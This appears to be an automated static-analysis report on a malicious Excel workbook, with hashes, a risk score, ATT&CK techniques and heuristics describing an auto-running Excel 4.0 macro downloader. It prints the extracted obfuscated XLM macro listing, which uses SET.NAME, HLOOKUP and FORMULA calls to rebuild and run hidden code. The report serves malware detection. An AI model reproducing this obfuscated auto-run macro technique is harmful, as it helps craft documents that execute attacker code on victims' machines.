Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cae86f705f11c8dd…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:41:02 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: b6463aaf30524002d3dce313e90a0381 SHA-1: 04966b627a3c49e890c86e1e3560ce85bdad9664 SHA-256: cae86f705f11c8dd9187637cdcab1970eca459c99603e064eb4e02f7b313054d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding. This indicates the macro sheet is designed to execute automatically upon opening the workbook. The presence of dangerous formula APIs like RUN suggests the macro is intended to execute arbitrary code, likely a downloader for a second-stage payload. No specific family could be identified, and no direct IOCs like URLs or hashes were extracted from the macro content itself.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6731 bytes
SHA-256: 95a27844b7f8752d4bf59da81df452cfe4d65fb1e9c2db093b9104fd9b7e61d1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xWnNdwdbDC
' 0018     27 LABEL : Cell Value, String Constant - AJpkuZHHfLwW len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B146 
' 0018     23 LABEL : Cell Value, String Constant - BAimpDiQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - bhdGmft len=0 
' 0018     20 LABEL : Cell Value, String Constant - FPisL len=0 
' 0018     23 LABEL : Cell Value, String Constant - FTemfogb len=0 
' 0018     25 LABEL : Cell Value, String Constant - hWdCLiDDkm len=0 
' 0018     22 LABEL : Cell Value, String Constant - HYzYIaw len=0 
' 0018     25 LABEL : Cell Value, String Constant - jpyhgDwyfd len=0 
' 0018     27 LABEL : Cell Value, String Constant - JxNftRNnhRUj len=0 
' 0018     26 LABEL : Cell Value, String Constant - KLWHQZBWRwj len=0 
' 0018     21 LABEL : Cell Value, String Constant - LGHTbA len=0 
' 0018     21 LABEL : Cell Value, String Constant - LIAtMW len=0 
' 0018     20 LABEL : Cell Value, String Constant - oylrf len=0 
' 0018     22 LABEL : Cell Value, String Constant - QcuqnsI len=0 
' 0018     21 LABEL : Cell Value, String Constant - qUycnN len=0 
' 0018     27 LABEL : Cell Value, String Constant - TelegwgXgsHm len=0 
' 0018     26 LABEL : Cell Value, String Constant - tqgTYFKZLHr len=0 
' 0018     24 LABEL : Cell Value, String Constant - vYZqzrrxI len=0 
' 0018     21 LABEL : Cell Value, String Constant - wLFjey len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZNnAaRqR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xWnNdwdbDC,B50,"SET.NAME("jpyhgDwyfd",VALUE("0"))",""
'  xWnNdwdbDC,B53,"SET.NAME("tqgTYFKZLHr",jpyhgDwyfd)",""
'  xWnNdwdbDC,B55,"SET.NAME("hWdCLiDDkm",jpyhgDwyfd)",""
'  xWnNdwdbDC,B59,"SET.NAME("wLFjey",COUNTA(FTemfogb))",""
'  xWnNdwdbDC,B63,"SET.NAME("qUycnN",COUNTA(vYZqzrrxI))",""
'  xWnNdwdbDC,B68,[],""
'  xWnNdwdbDC,B72,"SET.NAME("AJpkuZHHfLwW","")",""
'  xWnNdwdbDC,B77,"tqgTYFKZLHr",""
'  xWnNdwdbDC,B81,"SET.NAME("LGHTbA",HLOOKUP("*",FTemfogb,tqgTYFKZLHr,FALSE))",""
'  xWnNdwdbDC,B84,"bhdGmft",""
'  xWnNdwdbDC,B88,"SET.NAME("TelegwgXgsHm",jpyhgDwyfd)",""
'  xWnNdwdbDC,B90,[],""
'  xWnNdwdbDC,B95,"TelegwgXgsHm",""
'  xWnNdwdbDC,B100,"HYzYIaw",""
'  xWnNdwdbDC,B105,"KLWHQZBWRwj",""
'  xWnNdwdbDC,B109,"QcuqnsI",""
'  xWnNdwdbDC,B111,"SET.NAME("oylrf",VALUE(HLOOKUP("*",vYZqzrrxI,QcuqnsI,FALSE)))",""
'  xWnNdwdbDC,B115,"FPisL",""
'  xWnNdwdbDC,B117,"AJpkuZHHfLwW",""
'  xWnNdwdbDC,B120,"hWdCLiDDkm",""
'  xWnNdwdbDC,B122,NEXT(),""
'  xWnNdwdbDC,B127,"LIAtMW",""
'  xWnNdwdbDC,B129,"SET.NAME("f",INT(T(FORMULA(T(AJpkuZHHfLwW)&"",""&T(LIAtMW)))))",""
'  xWnNdwdbDC,B133,"ZNnAaRqR",""
'  xWnNdwdbDC,B138,NEXT(),""
'  xWnNdwdbDC,B143,RETURN(),""
'  xWnNdwdbDC,B169,"SET.NAME("BAimpDiQ",B50)",""
'  xWnNdwdbDC,B172,"FTemfogb",""
'  xWnNdwdbDC,B174,"SET.NAME("vYZqzrrxI",R60C14)",""
'  xWnNdwdbDC,B177,"SET.NAME("ZNnAaRqR",185)",""
'  xWnNdwdbDC,B179,"SET.NAME("JxNftRNnhRUj",2)",""
'  xWnNdwdbDC,B184,BAimpDiQ(),""
'  xWnNdwdbDC,B185,HALT(),""

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